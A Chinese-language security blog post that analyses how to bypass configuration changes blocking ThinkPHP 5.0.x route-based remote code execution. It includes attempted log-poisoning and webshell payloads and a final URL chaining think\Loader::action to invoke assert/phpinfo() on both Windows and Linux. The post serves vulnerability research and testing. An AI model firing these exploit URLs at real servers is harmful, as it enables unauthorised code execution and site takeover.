突破某场景下tp 5.0.x 路由代码执行漏洞

0x00 前言
源于一个师傅在博客短消息问的问题,感谢某师傅提供的案例
 
0x01 限制条件
配置修改:
// 应用调试模式
'app_debug'              => false, (默认true)
 // URL参数方式 0 按名称成对解析 1 按顺序解析
'url_param_type'         => 1, // (默认0)
// 是否开启路由
'url_route_on'           => false, //(默认true)
thinkphp 版本 :5.0.5
其他修改:网站根目录不在public,在public上一级目录,并绑定了模块为index
目标操作系统:linux
 
0x02 分析
由于关闭了调试,我们没法获得报错信息
url_param_type 
url_route_on
这两个默认配置的修改,也导致了很多问题
我们都知道tp5有两个非常出名的任意代码执行,一个是路由,一个是method变量覆盖
其中
路由任意代码执行的影响版本为:
  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30
method 变量覆盖漏洞影响版本为:  
  • Thinkphp 5.0.0 rc4-5.0.23   
但在这个场景下
 
1,由于配置url_route_on 和url_param_type的问题,method变量覆盖漏洞执行不了
method变量覆盖漏洞需要在程序运行过程中,间接或直接调用到Request的method方法
跟到tp的运行过程,在App::run方法中由于$dispatch为空,会进入路由检测代码
在路由检测方法中,url_route_on配置值控制了是否进入到if代码块中,当url_route_on=true,程序才能进入if代码块

而在if代码块中Route::check函数间接调用了Request->method()方法,从而进行覆盖变量,但是这里还不是执行

要执行还得继续往下走,再触发一次Request::instance()->input()方法

看到最后执行控制器方法时,App.php中的bindParams(),会将外部获得的参数进行绑定,当url_param_type 为0时

 

由Request::instance()-->param()间接调用Request::instance()->input()方法,用覆盖的filter来对输入参数进行过滤,从而触发代码执行

2,路由漏洞也因为url_param_type配置的修改,导致只能通过pathinfo的方式获取变量
最终在给方法绑定变量的时候出错,也就是说现有的payload没办法直接执行

 

0x03 突破

先来讲讲一些坑点:

因为只能通过pathinfo的方式传值,我们没办法指定键,所以只能按顺序传参数,能够利用的方法也十分有限
 
还有pathinfo切割参数时根据/ 符号来切割,也导致了我们传入的内容不能包括它
 
还有一个坑点,由于5.0 Loader.php自动加载类方法中

win环境中严格区分大小写,导致了很多类其实是没办法加载的,这个我在之前的文章也分析过:https://www.cnblogs.com/r00tuser/p/10103329.html

但是目标是linux,经过搭建环境分析,发现linux下也是不行的,虽然系统是linux,IS_WIN的值必为false,不会直接返回false,但是会包含不到文件
 
主要是因为配置
// 是否自动转换URL中的控制器和操作名
    'url_convert'            => true,(默认值)
 
将控制器转换成了小写,而实际的文件名是大写的,比如
payload:
http://127.0.0.1/index.php/?s=think\Process/start

可以看到实际找到的class为think/process,对应找到的文件为think/process.php,而文件实际的文件名为think/Process.php

(本地环境是win,仅证明linux的情况)

最后势必会因为包含不到文件,而触发错误,简单用个测试文件test.php
在centos下php7环境测试

而测试过程中也发现了个有趣的点,在Mac下,php文件包含是不会区分大小写的

同样是测试文件test.php

 所以无论在win还是linux下能够利用的类就只有一开始程序已经加载的类:

think\Loader
think\Route
think\Config
think\Validate
think\Console
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang

 

有的一些思路:
1,写马到日志,写马到session,文件包含之
2,从tp中自有的类中找到可控的方法
 
思路1:
第一步就是要写马到日志文件,因为php代码需要<? 包裹,包含?符号,而在url中传该符号的时候会被截断,在日志里面只能看到<
payload:(当然urlencode两次也不行)
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3C?php%20phpinfo();?%3E/

用<script language="php">(php<7)的时候,也因为</script>结束符有/ 符号而被切割无法正常写入日志

payload:
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3Cscript%20language=%22php%22%3Ephpinfo();%3C/script%3E

而尝试去掉闭合标签,也会因为后面的日志导致报错

写入:
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3Cscript%20language=%22php%22%3Ephpinfo();

包含:

http://127.0.0.1/index.php?s=think\Lang/load/runtime\log\202009\08.log

并且在linux实际环境下还有一个问题,日志的路径或者说文件的路径是/xx/xxx/的样式,是没法通过pathinfo的方式正常传入进去的
 
所以思路1失败。
 

思路2:

前面说到由于没法自动加载类的原因,导致能用的类少之又少,所以我们必须在下面的列表中找到能利用的

think\Loader
think\Route
think\Config
think\Validate
think\Console
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang

在一遍遍分析之后,终于在think\Loader类中找到了一个完美的方法action,看到代码:

代码对$url进行pathinfo取值,获取pathinfo数组basename索引的值作为$action,而$module从数组dirname索引中获取,如果数组dirname索引的值取不到则取当前控制器名(也就是think\Loader)

之后传入到controller方法进行实例class,之后判断了$vars变量是否为标量,如果为标量并且包含"=",则用parse_str解析参数为变量存储在$vars中
 
再之后用App::invokeMethod方法来进行反射调用,调用$class的实例$action方法,并传$vars的值到方法中
 
pathinfo传参的方式,我们是能够控制$url,$vars的值的,也就是说类,方法,参数我们都可以控制,十分完美的任意类任意方法调用
 
一般情况下tp 5.0的代码执行payload 如下:
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

这里,我们就可以通过think\Loader的action方法间接调用起think\app 的invokefunction

http://127.0.0.1/index.php?s=think\Loader/action/think\APP\invokefunction/function=call_user_func_array%26vars[0]=assert%26vars[1][]=phpinfo()

最终实现代码执行

 

但是这个payload只能在win下执行,原因是

pathinfo()是根据系统的类型来选择路径分割符分割的
 
在win下可以是
\ /

但在linux下只能是

/

也就是dirname索引的值会是点号,从而执行不到我们想要的think\App类

那么该怎么办呢?
 
其实我们可以套多一次action方法,也就是调用action方法去调用action方法之后再调用think\App\invokefunction,即think\Loader::action->think\Loder::action->think\App::invokefunction
 
由于第二次的pathinfo()取值的$url来源于第一次action方法parse_str解析的变量,我们可以对正斜杠进行双urlencode再传进去(parse_str函数会对值进行一次urldecode),从而避免了正斜杠与pathinfo分隔符冲突而不能正确传值的问题
 
最后基于正常的代码执行payload,构造出payload如下(win/linux通用):
 
http://127.0.0.1/index.php?s=think\Loader/action/action/url=think\APP%252finvokefunction%26vars[function]=call_user_func_array%26vars[vars][0]=assert%26vars[vars][1][]=phpinfo()

win:

 

 linux:

 

 

0x04 总结
算是把之前没有踩的坑重新踩了,在实际测试中可以多留意一下,版本是在漏洞版本内,但是代码执行却不行,可能就是这种场景
posted @ 2020-09-08 21:24  水泡泡  阅读(1021)  评论(0编辑  收藏  举报